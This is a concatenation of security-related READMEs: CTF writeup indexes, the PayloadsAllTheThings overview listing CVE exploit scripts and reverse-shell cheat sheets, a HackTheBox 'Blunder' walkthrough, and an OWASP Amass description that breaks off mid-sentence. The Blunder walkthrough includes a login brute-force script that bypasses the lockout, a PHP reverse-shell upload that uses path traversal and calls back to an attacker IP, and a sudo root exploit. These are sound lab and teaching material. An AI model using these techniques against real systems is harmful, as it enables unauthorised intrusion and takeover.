text
stringlengths
9
334k
# CTF Writeups <p align="center"> <img src="resources/images/logo.jpg"> <br> <i>Writeups Challenges I have solved</i> [![HSNHK - CTF-writeups](https://img.shields.io/static/v1?label=HSNHK&message=CTF-writeups&color=blue&logo=github)](https://github.com/HSNHK/CTF-writeups) [![stars - CTF-writeups](https://img.shields.io/github/stars/HSNHK/CTF-writeups?style=social)](https://github.com/HSNHK/CTF-writeups) [![forks - CTF-writeups](https://img.shields.io/github/forks/HSNHK/CTF-writeups?style=social)](https://github.com/HSNHK/CTF-writeups) [![GitHub release](https://img.shields.io/github/release/HSNHK/CTF-writeups?include_prereleases=&sort=semver)](https://github.com/HSNHK/CTF-writeups/releases/) [![License](https://img.shields.io/badge/License-MIT-blue)](#license) [![issues - CTF-writeups](https://img.shields.io/github/issues/HSNHK/CTF-writeups)](https://github.com/HSNHK/CTF-writeups/issues) </p> <i>You can see all the writeups here</i> - <a href="https://hsnhk.medium.com/"><img title="Medium" src="https://img.shields.io/badge/Medium-12100E?style=for-the-badge&logo=medium&logoColor=white"/></a> - <a href="https://hsnhk.gitbook.io/ctf-writeups/"><img title="gitbook" src="https://img.shields.io/badge/GitBook-7B36ED?style=for-the-badge&logo=gitbook&logoColor=white"/></a> - [![HSNHK - hsnhk.github.io](https://img.shields.io/static/v1?label=HSNHK&message=hsnhk.github.io&color=blue&logo=github)](https://hsnhk.github.io/) * [Writeups](https://github.com/HSNHK/CTF-writeups) * [HackTheBox](#hackthebox) * [TryHackMe](#tryhackme) * [CTF](#ctf) * [CTFLearn](#ctflearn) # HackTheBox | Name | Type | Descriptions | Writeup | | ----- | ---- | ------------ | ------- | | Previse | Machine | Previse Hackthebox walkthrough | Removed ❌ | | Toxic | Web | Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸 | [Writeup](HackTheBox/challenges/web/Toxic) | | Emdee five for life | Web | Can you encrypt fast enough? | [Writeup](HackTheBox/challenges/web/Emdee-five-for-life) | | FreeLancer | Web | Can you test how secure my website is? Prove me wrong and capture the flag! | [Writeup](HackTheBox/challenges/web/FreeLancer) | | Templated | Web | Can you exploit this simple mistake? | [Writeup](HackTheBox/challenges/web/Templated) | | Impossible Password | Reversing | Are you able to cheat me and get the flag? | [Writeup](HackTheBox/challenges/reversing/Impossible-Password) | | Illumination | Forensics | A Junior Developer just switched to a new source control platform. Can you find the secret token? | [Writeup](HackTheBox/challenges/forensics/Illumination) | | Phonebook | Web | Who is lucky enough to be included in the phonebook? | [Writeup](HackTheBox/challenges/web/Phonebook) | | baby ninja jinja | Web | The elders of the village summoned you to take the reigns after the recent death of you father. It's time to end the emperor's gruesome tyranny. | [Writeup](HackTheBox/challenges/web/baby-ninja-jinja) | | Gunship | Web | A city of lights, with retrofuturistic 80s peoples, and coffee, and drinks from another world... all the wooing in the world to make you feel more lonely... this ride ends here, with a tribute page of the British synthwave band called Gunship. 🎶 | [Writeup](HackTheBox/challenges/web/Gunship) | | Hancliffe | Machine | Hancliffe Hackthebox walkthrough | Removed ❌ | | Pandora | Machine | Hackthebox Pandora walkthrough | Removed ❌ | | Shibboleth | Machine | Hackthebox Shibboleth walkthrough | Removed ❌ | # Tryhackme | Name | Type | Descriptions | Writeup | | ----- | ---- | ------------ | ------- | | Basic Malware RE | Room | This room aims towards helping everyone learn about the basics of “Malware Reverse Engineering”. | [Writeup](https://hsnhk.medium.com/tryhackme-basic-malware-re-bfcd518fd314) | | Reversing ELF | Room | Room for beginner Reverse Engineering CTF players. | [Writeup](https://hsnhk.medium.com/tryhackme-reversing-elf-60ab96969e41) | | Reverse Engineering | Room | This room focuses on teaching the basics of assembly through reverse engineering. | [Writeup](https://hsnhk.medium.com/tryhackme-reverse-engineering-9cd408849f13) | | Blue | Machine | Deploy & hack into a Windows machine, leveraging common misconfigurations issues. | [Writeup](https://hsnhk.medium.com/tryhackme-blue-1ccfae7c2e8a) | | OWASP Top 10 | Room | Learn about and exploit each of the OWASP Top 10 vulnerabilities; the 10 most critical web security risks. | [Writeup](https://hsnhk.medium.com/tryhackme-owasp-top-10-e2b342c4f9f8) | | Nmap Room | Room | An in depth look at scanning with Nmap, a powerful network scanning tool. | [Writeup](https://hsnhk.medium.com/tryhackme-nmap-room-9db134d5c8cc) | | The find command | Room | A learn-by-doing approach to the find command. | [Writeup](https://hsnhk.medium.com/tryhackme-the-find-command-d64026d89c3) | | Disk Analysis & Autopsy | Forensic | Ready for a challenge? Use Autopsy to investigate artifacts from a disk image. | [Writeup](https://hsnhk.medium.com/tryhackme-disk-analysis-autopsy-f967c64feaf1) | | Internal | CTF | Penetration Testing Challenge | [Writeup](https://hsnhk.medium.com/tryhackme-internal-a64eed0b1562) | | Lumberjack Turtle | CTF | No logs, no crime... so says the lumberjack. | [Writeup](https://hsnhk.medium.com/tryhackme-lumberjack-turtle-db006d0a589e) | | Brainpan 1 | CTF | Reverse engineer a Windows executable, find a buffer overflow and exploit it on a Linux machine. | [Writeup](https://hsnhk.medium.com/tryhackme-brainpan-1-ff227d42189e) | # CTF | Name | Format | Descriptions | Writeup | | ----- | ------ | ------------ | ------- | | [picoCTF 2022](https://ctftime.org/event/1578) | Jeopardy | picoCTF 2022 is an annual capture-the-flag (CTF) hacking competition where participants gain access to a safe and unique hands on experience. | [Writeup](https://hsnhk.github.io/post/picoCTF2022) | | [CyberApocalypseCTF2022](https://ctftime.org/event/1639) | Jeopardy | A super villain named Draeger escaped from a maximum security prison, formed his own evil squad, and convinced the Intergalactic Federal Government to work for him! You are a group of misfits that came together under unlikely circumstances, each with their own hacking “superpowers” and past with Draeger… | [Writeup](https://hsnhk.github.io/post/CyberApocalypseCTF2022-Forensics) | | [Lexington Informatics Tournament CTF 2022](https://ctftime.org/event/1694) | Jeopardy | Lexington Informatics Tournament CTF 2022 is a Jeopardy-style, beginner-friendly online CTF that's open to everyone. It is hosted by the LexMACS club from Lexington High School. | [Writeup](https://hsnhk.github.io/post/LIT-CTF-2022) | # CTFLearn | Name | Type | Descriptions | Writeup | | ----- | ---- | ------------ | ------- | | Inj3ction Time | Web | I stumbled upon this website: http://web.ctflearn.com/web8/ and I think they have the flag in their somewhere. UNION might be a helpful command | [Writeup](CTFlearn/web/Inj3ction-Time) | | Calculat3 M3 | Web | Here! http://web.ctflearn.com/web7/ I forget how we were doing those calculations, but something tells me it was pretty insecure. | [Writeup](CTFlearn/web/Calculat3-M3) | ## License Released under [MIT](/LICENSE) by [@HSNHK](https://github.com/HSNHK).
# CTF-BIBLE ##### tags `ctf` `web` `crypto` `reversing` `pwn` `forensics` `OSINT` ## TL;DR ### Writeups - [Mobile](./Mobile) - [Web](./Web) - [Forensics](./Forensics) - [pwn](./pwn) - [crypto](./crypto) - [reversing](./reversing) - [OSINT](./Osint) ### Archived CTFs - [Archive](https://github.com/sajjadium/CTFium) # Introduction to CTFs ![](ctf.jpg) ## What’s a CTF? - A CTF (Capture the Flag) is a cybersecurity competition where players must “hack” their way through different challenges in order to retrieve a flag, which is then submitted for points, allowing them to climb up the leader board. CTF Overview: ### Jeopardy: - A set of different tasks, usually providing players with the freedom of choosing which challenge to start off with. Jeopardy Main Categories: #### Web Exploitation - The player has to find and exploit vulnerabilities in a web application (XSS, SQLi, RCE, etc.) #### Forensics - Forensics is a key area of blue teaming and CTFs which includes aspects such as packet analysis, image analysis or in some cases location recovery. #### Reverse Engineering - RE mostly involves getting a compiled program and then deconstructing it into a far more readable format in order to get the flag. #### Binary Exploitation(pwn) - Binexp revolves around finding and exploiting vulnerabilities in programs, and get the flag. The best thing about binexp is that there are hundreds of possibilities and vulnerabilities to get the flag, be it through function modification, getting a shell or anything else. #### Cryptography - This category is in relation to finding some vulnerabilities within the overall cryptographic structure provided, be it RSA, AES, etc. #### OSINT (Open-source intelligence) - Making use of given data or clues and then taking into use Open source data online to investigate through the web in order to find the intended target. #### Steganography - This category usually contains revolves around finding hidden data within different forms of media, be it music, pictures, videos, etc. #### Misc Anything other than the mentioned categories, and the difficulty will always vary. <a href="https://medium.com/bugbountywriteup/intro-to-ctfs-164a03fb9e60">Full Description</a> # Where to Play CTFs ###### `Jeorpardies` - <a href="https://ctftime.org">ctftime.org</a> - ctf events calendar and team ratings - <a href="https://cybertalents.com">cybertalents.com</a> - beginner friendly ctf platform ###### `Boot2root` - [Hackthebox](https://hackthebox.eu) - [Vulnhub](https://vulnhub.com) - [CTFROOM](https://ctfroom.com) - [Tryhackme](https://tryhackme.com) ### more links - [ctfsites](https://ctfsites.github.io) ### Similar Projects - [CTF-NOTES](https://github.com/lanjelot/ctfs) <b>Watch this Space for More XD</b>
# Payloads_All_The_Things A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques ! I <3 pull requests :) You can also contribute with a beer IRL or with `buymeacoffee.com` [![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/swissky) Every section contains the following files, you can use the `_template_vuln` folder to create a new chapter: - README.md - vulnerability description and how to exploit it - Intruder - a set of files to give to Burp Intruder - Images - pictures for the README.md - Files - some files referenced in the README.md You might also like : - [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/) - [Active Directory Attack.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) - [Linux - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md) - [Linux - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) - [Metasploit - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md) - [Methodology_and_enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology_and_enumeration.md) - [Network Pivoting Techniques.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md) - [Network Discovery.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) - [Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [Subdomains Enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md) - [Windows - Download and Execute.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md) - [Windows - Mimikatz.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md) - [Windows - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) - [Windows - Post Exploitation Koadic.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Post%20Exploitation%20Koadic.md) - [Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) - [Windows - Using credentials.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md) - [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits) - Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py - Apache Struts 2 CVE-2017-5638.py - Apache Struts 2 CVE-2017-9805.py - Apache Struts 2 CVE-2018-11776.py - Docker API RCE.py - Drupalgeddon2 CVE-2018-7600.rb - Heartbleed CVE-2014-0160.py - JBoss CVE-2015-7501.py - Jenkins CVE-2015-8103.py - Jenkins CVE-2016-0792.py - Shellshock CVE-2014-6271.py - Tomcat CVE-2017-12617.py - WebLogic CVE-2016-3510.py - WebLogic CVE-2017-10271.py - WebLogic CVE-2018-2894.py - WebSphere CVE-2015-7450.py ## Try Harder Ever wonder where you can use your knowledge ? The following list will help you find "targets" to improve your skills. - __Bug Bounty Platforms__ - [HackerOne](https://hackerone.com) - [BugCrowd](https://bugcrowd.com) - [Bounty Factory](https://bountyfactory.io) - [Synack](https://www.synack.com/) - [Intigriti](https://www.intigriti.com) - [List of Bounty Program](https://bugcrowd.com/list-of-bug-bounty-programs/) - __Online Platforms__ - [Hack The Box](https://hackthebox.eu/) - [Penetration test lab "Test lab" | Pentestit](https://lab.pentestit.ru) - [PentesterLab : Learn Web Penetration Testing: The Right Way](https://pentesterlab.com/) - [Zenk-Security](https://www.zenk-security.com/epreuves.php) - [Root-Me](https://www.root-me.org) - [W3Challs](https://w3challs.com/) - [NewbieContest](https://www.newbiecontest.org/) - [Vulnhub](https://www.vulnhub.com/) - [The Cryptopals Crypto Challenges](https://cryptopals.com/) - [alert(1) to win](https://alf.nu/alert1) - [Hacksplaining](https://www.hacksplaining.com/exercises) - [HackThisSite](https://hackthissite.org) - [Hackers.gg](hackers.gg) - [Mind Map - Penetration Testing Practice Labs - Aman Hardikar](http://www.amanhardikar.com/mindmaps/Practice.html) ## Book's list Grab a book and relax, these ones are the best security books (in my opinion). - [Web Hacking 101](https://leanpub.com/web-hacking-101) - [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec) - [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project) - [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn) - [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa) - [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD) - [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE) - [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900) - [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit) - [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html) - [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html) - [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html) - [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html) - [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html) - [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) - [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html) - [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html) - [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking) ## More resources ### Blogs/Websites - [BUG BOUNTY FIELD MANUAL: THE DEFINITIVE GUIDE FOR PLANNING, LAUNCHING, AND OPERATING A SUCCESSFUL BUG BOUNTY PROGRAM](https://www.hackerone.com/blog/the-bug-bounty-field-manual) - [How to become a Bug Bounty Hunter - Sam Houston](https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102) - [Tips from Top Hackers – Bug Hunting methodology and the importance of writing quality submissions - Sam Houston](https://www.bugcrowd.com/tips-from-top-hackers-bug-hunting-methodology-and-the-importance-of-writing-quality-submissions/) - [ARNE SWINNEN'S SECURITY BLOG JUST ANOTHER INFOSEC BLOG](https://www.arneswinnen.net) - [XSS Jigsaw - innerht.ml](https://blog.innerht.ml) - [ZeroSec Blog: Featuring Write-Ups, Projects & Adventures](https://blog.zsec.uk/tag/ltr101/) ### Youtube - [IppSec Channel - Hack The Box Writeups](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) - [Hunting for Top Bounties - Nicolas Grégoire](https://www.youtube.com/watch?v=mQjTgDuLsp4) - [BSidesSF 101 The Tales of a Bug Bounty Hunter - Arne Swinnen](https://www.youtube.com/watch?v=dsekKYNLBbc) - [Security Fest 2016 The Secret life of a Bug Bounty Hunter - Frans Rosén](https://www.youtube.com/watch?v=KDo68Laayh8)
# HackTheBox – Blunder - Write-Up Author: [Calvin Lai](http://security.calvinlai.com) ## **Question:** > Blunder ![img](./img/1.png) ## Background Blunder is a Linux machine from HackTheBox, which is a real-life similar box that required CVE exploit technique, for training your ethical hacking and penetration testing skills. After basic enumeration, this Linux server is a web application develops using the blunder CMS running on port 80. Using the tool Drib, some hidden files are found which contain a possible user name "fergus", and a Bruteforce protected admin login page also identifies. After google, I find that the Bruteforce protection of this version blunder CMS can be bypassed. Get the administrative privilege account. I am trying to upload PHP reverse shell to the site via the provided image uploaded function, uploaded success but fail to get the access path. Google again, there is a CVE exploit on the Bludit that related to the directory traversal. Follow the instruction, get the low privilege access. The system is enumerated, there is a newer version of Bludit CMS is found and a file-based user account database is identified. There is an SHA-1 hashed password of a user account hugo. Crack the password using an online tool and get this user account access. Enumerate the system again with a tool - linpeas, the sudo version have PE vulnerability. Following the exploitDB instruction, get the root access finally. [email protected] Target Machine: 10.10.10.191 Attacker Machine: 10.10.14.16 ## Write up ### 1. Service Scanning: - Quick Pre-searching: ![img](./img/2.png) - Details Analysis: ![img](./img/3.png) Only port 80 open, focus on the web application and check any CVE vulnerability. ### 2. Enumeration: ![img](./img/4.png) - Enumerating the website: Using the following tools, a folder and two files are found, /admin/, /robots.txt, and /todo.txt ``` gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,php dirb http://10.10.10.191/ /usr/share/wordlists/dirb/common.txt -o dirb-191.result gobuster dir -u 'http://10.10.10.191/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster-191.result python3 /root/Documents/ctf/tools/dirsearch/dirsearch.py -u http://10.10.10.191/ -e jsp,txt -x 301,302,403,404 --simple-report=dirsearch-191.result ``` /robots.txt ![img](./img/5.png) /todo.txt ![img](./img/6.png) /admin/ ![img](./img/7.png) The source code of the login portal shows that it builds by the Bludit CMS and version is 3.9.2 and /todo.txt hints of a user **fergus**. ![img](./img/8.png) - Get the website login Brute forcing is not a simple task as the site is implemented the CSRF token, and after 10 login attempts my IP address being blocked. Next steps, I am going to search for any vulnerable of this bludit version and this [blog](https://rastating.github.io/bludit-brute-force-mitigation-bypass/) is found. I am failure by using the rockyou.txt as the password list to gain the website login access, but, it is success using [cewl](https://tools.kali.org/password-attacks/cewl) to gathering the wordlist from the site. ```python #!/usr/bin/env python3 import re import requests host = 'http://10.10.10.191' login_url = host + '/admin/login' username = 'fergus' wordlist = [] pwd = open('password.txt','r') for line in pwd: line=line.rstrip() wordlist.append(line) # Add the correct password to the end of the list wordlist.append('adminadmin') for password in wordlist: session = requests.Session() login_page = session.get(login_url) csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1) print('[*] Trying: {p}'.format(p = password)) headers = { 'X-Forwarded-For': password, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36', 'Referer': login_url } data = { 'tokenCSRF': csrf_token, 'username': username, 'password': password, 'save': '' } login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) if 'location' in login_result.headers: if '/admin/dashboard' in login_result.headers['location']: print() print('SUCCESS: Password found!') print('Use {u}:{p} to login.'.format(u = username, p = password)) print() break ``` ```shell root@kclai:~/Documents/ctf/htb/linux/17-HTB-Blunder/exploit# cewl 10.10.10.191 > password.txt root@kclai:~/Documents/ctf/htb/linux/17-HTB-Blunder/exploit# python3 exploit.py [*] Trying: CeWL 5.4.6 (Exclusion) Robin Wood ([email protected]) (https://digi.ninja/) [*] Trying: the [*] Trying: Load [*] Trying: Plugins [*] Trying: and ....... ..... .... ... [*] Trying: Letters [*] Trying: probably [*] Trying: best [*] Trying: fictional [*] Trying: character [*] Trying: RolandDeschain SUCCESS: Password found! Use fergus:RolandDeschain to login. ``` *** ### 3. Initial low privilege access: - Enumerated the system after got the login access, there is an image upload function. A PHP reverse shell file and ".htaccess" can be bypassed the client-side validation and uploaded to the server successfully. But the file access path cannot be found. ![img](./img/9.png) - After searching on the exploit database, there is a CVE vulnerability on Bludit 3.9.2 that related to the directory traversal. The PoC scripts show that the UUID can be used to control the result access path. ![img](./img/10.png) - Get the www account access As the upload validation only applies on the client-side, thus, using the burp to change the upload parameters (value of filename), the PHP reverse shell and the **.htaccess** files are uploaded to the **/tmp/** folder. I can execute the reverse shell PHP by visiting the http://10.10.10.191/bl-content/tmp/reverse.php ```php POST /admin/ajax/upload-images HTTP/1.1 Host: 10.10.10.191 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.191/admin/new-content X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------1577569979961725874602175024 Content-Length: 11616 Connection: close Cookie: BLUDIT-KEY=ngp0psekevm7je3hnrlhjmkj57 -----------------------------1577569979961725874602175024 Content-Disposition: form-data; name="images[]"; filename="reverse.png" Content-Type: image/png ..... ..... <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 [email protected] ..... ..... // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.14.16'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/bash -i'; .... ... .. -----------------------------1577569979961725874602175024 Content-Disposition: form-data; name="uuid" ../../tmp -----------------------------1577569979961725874602175024 Content-Disposition: form-data; name="tokenCSRF" 60f8752883482353d1ad20bbff841b4aa9668c71 -----------------------------1577569979961725874602175024-- ``` ``` #.htaccess file RewriteEngine off AddType application/x-httpd-php .png ``` - Finally, the initial web server account privilege access is obtained. ![img](./img/11.png) - Get the user account access The system file shows that this bludit CMS setup to use the file-based database, three hashed password are found at users.php of two bludit folders. According to the official website for [recovery the admin password file](https://raw.githubusercontent.com/bludit/password-recovery-tool/master/recovery.php), this hashed password is in SHA-1 format. Using the [online tool](https://md5decrypt.net/en/Sha1/) to decrypt the hashed password. The password for hugo account obtains which is **Password120**. ![img](./img/12.png) I find that Hugo reuse his password reuse on their system account. Let's spawn a PTY shell, as this will allow us to use the su command. The low privilege user account obtain. ```shell www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ python -c "import pty;pty.spawn('/bin/bash');" www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo su hugo Password: Password120 ``` ![img](./img/13.png) *** ### 4. Privilege Escalation: - Download the [linpeas.sh](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) to study the environment search for possible paths to escalate privileges on Linux hosts. The result shows the sudo version of this system is one of the possible paths to escalate privilege. ![img](./img/14.png) ![img](./img/15.png) Searching the exploit db again, there is a [CVS exploit](https://www.exploit-db.com/exploits/47502) on this sudo version is identified. Following the instruction, the root privilege obtain. ![img](./img/16.png) ```shell hugo@blunder:~$ hugo@blunder:~$ sudo -l sudo -l Password: Password120 Matching Defaults entries for hugo on blunder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User hugo may run the following commands on blunder: (ALL, !root) /bin/bash hugo@blunder:~$ sudo --version sudo --version Sudo version 1.8.25p1 Sudoers policy plugin version 1.8.25p1 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.25p1 hugo@blunder:~$ hugo@blunder:/$ sudo -u#-1 /bin/bash sudo -u#-1 /bin/bash Password: Password120 root@blunder:/ ``` ![img](./img/17.png) *** ### 5. Recommendation: Missing patches are very common in the real-life system, we need to keep the system patches are updated to avoid know attack. *** ### 6. Reference Link https://rastating.github.io/bludit-brute-force-mitigation-bypass/ https://raw.githubusercontent.com/bludit/password-recovery-tool/master/recovery.php https://md5decrypt.net/en/Sha1/ https://www.exploit-db.com/exploits/47502
# [![OWASP Logo](https://github.com/OWASP/Amass/blob/master/images/owasp_logo.png) OWASP Amass](https://www.owasp.org/index.php/OWASP_Amass_Project) [![CircleCI Status](https://circleci.com/gh/OWASP/Amass/tree/master.svg?style=shield)](https://circleci.com/gh/OWASP/Amass/tree/master) [![GitHub release](https://img.shields.io/github/release/OWASP/Amass)](https://github.com/OWASP/Amass/releases) [![Go Version](https://img.shields.io/badge/go-1.13-blue.svg)](https://golang.org/dl/) [![License](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](https://www.apache.org/licenses/LICENSE-2.0) [![Bugcrowd LevelUp 0x04](https://img.shields.io/badge/Bugcrowd-LevelUp%200x04-orange.svg)](https://www.youtube.com/watch?v=C-GabM2db9A) [![DEF CON 27 Demo Labs](https://img.shields.io/badge/DEF%20CON%2027-Demo%20Labs-purple.svg)](https://www.defcon.org/html/defcon-27/dc-27-demolabs.html) [![DEF CON 27 Recon Village](https://img.shields.io/badge/DEF%20CON%2027-Recon%20Village-red.svg)](https://reconvillage.org/) ---- <p align="center"> <img alt="DNS Enumeration" src="https://github.com/OWASP/Amass/blob/master/images/amass.gif" width="577" height="685" /> </p> ---- The OWASP Amass Project has developed a tool to help information security professionals perform network mapping of attack surfaces and perform external asset discovery using open source information gathering and active reconnaissance techniques. **Information Gathering Techniques Used:** * **DNS:** Basic enumeration, Brute forcing (optional), Reverse DNS sweeping, Subdomain name alterations/permutations, Zone transfers (optional) * **Scraping:** Ask, Baidu, Bing, DNSDumpster, DNSTable, Dogpile, Exalead, Google, HackerOne, IPv4Info, Netcraft, PTRArchive, Riddler, SiteDossier, ViewDNS, Yahoo * **Certificates:** Active pulls (optional), Censys, CertSpotter, Crtsh, Entrust, GoogleCT * **APIs:** AlienVault, BinaryEdge, BufferOver, CIRCL, CommonCrawl, DNSDB, GitHub, HackerTarget, Mnemonic, NetworksDB, PassiveTotal, Pastebin, RADb, Robtex, SecurityTrails, ShadowServer, Shodan, Spyse (CertDB & FindSubdomains), Sublist3rAPI, TeamCymru, ThreatCrowd, Twitter, Umbrella, URLScan, VirusTotal, WhoisXML * **Web Archives:** ArchiveIt, ArchiveToday, Arquivo, LoCArchive, OpenUKArchive, UKGovArchive, Wayback ---- ## Documentation Use the [Installation Guide](https://github.com/OWASP/Amass/blob/master/doc/install.md) to get started. Go to the [User's Guide](https://github.com/OWASP/Amass/blob/master/doc/user_guide.md) for additional information. ## Community [![Contribute Yes](https://img.shields.io/badge/contribute-yes-brightgreen.svg)](https://github.com/OWASP/Amass/blob/master/CONTRIBUTING.md) [![Chat on Discord](https://img.shields.io/discord/433729817918308352.svg?logo=discord)](https://discord.gg/rtN8GMd) [![Follow on Twitter](https://img.shields.io/twitter/follow/owaspamass.svg?logo=twitter)](https://twitter.com/owaspamass) ### Project Leader [![Follow on Twitter](https://img.shields.io/twitter/follow/jeff_foley.svg?logo=twitter)](https://twitter.com/jeff_foley) * OWASP: [Caffix](https://www.owasp.org/index.php/User:Caffix) * GitHub: [@caffix](https://github.com/caffix) ### Contributors This project improves thanks to all the people who contribute: [![Follow on Twitter](https://img.shields.io/twitter/follow/emtunc.svg?logo=twitter)](https://twitter.com/emtunc) [![Follow on Twitter](https://img.shields.io/twitter/follow/kalbasit.svg?logo=twitter)](https://twitter.com/kalbasit) [![Follow on Twitter](https://img.shields.io/twitter/follow/fork_while_fork.svg?logo=twitter)](https://twitter.com/fork_while_fork) [![Follow on Twitter](https://img.shields.io/twitter/follow/rbadguy1.svg?logo=twitter)](https://twitter.com/rbadguy1) [![Follow on Twitter](https://img.shields.io/twitter/follow/danjomart.svg?logo=twitter)](https://twitter.com/danjomart) [![Follow on Twitter](https://img.shields.io/twitter/follow/shane_ditton.svg?logo=twitter)](https://twitter.com/shane_ditton) [![Follow on Twitter](https://img.shields.io/twitter/follow/dhauenstein.svg?logo=twitter)](https://twitter.com/dhauenstein) [![Follow on Twitter](https://img.shields.io/twitter/follow/THB_STX.svg?logo=twitter)](https://twitter.com/THB_STX) [![Email NanoDano](https://img.shields.io/badge/NanoDano-nanodano%40devdungeon.com-blue.svg)](mailto:[email protected]) [![Follow on Twitter](https://img.shields.io/twitter/follow/DanielMiessler.svg?logo=twitter)](https://twitter.com/DanielMiessler) [![Follow on Twitter](https://img.shields.io/twitter/follow/ngkogkos.svg?logo=twitter)](https://github.com/ngkogkos) [![Follow on Twitter](https://img.shields.io/twitter/follow/Jhaddix.svg?logo=twitter)](https://twitter.com/Jhaddix) [![Follow on Twitter](https://img.shields.io/twitter/follow/Vltraheaven.svg?logo=twitter)](https://twitter.com/Vltraheaven) ## Mentions [![Rawsec's CyberSecurity Inventory](https://inventory.rawsec.ml/img/badges/Rawsec-inventoried-FF5050_flat.svg)](https://inventory.rawsec.ml/) * [OWASP Amass OSINT Reconnaissance](https://medium.com/hacker-toolbelt/owasp-amass-osint-reconnaissance-9b57d81fb958) * [Top Linux Distros for Ethical Hacking and Penetration 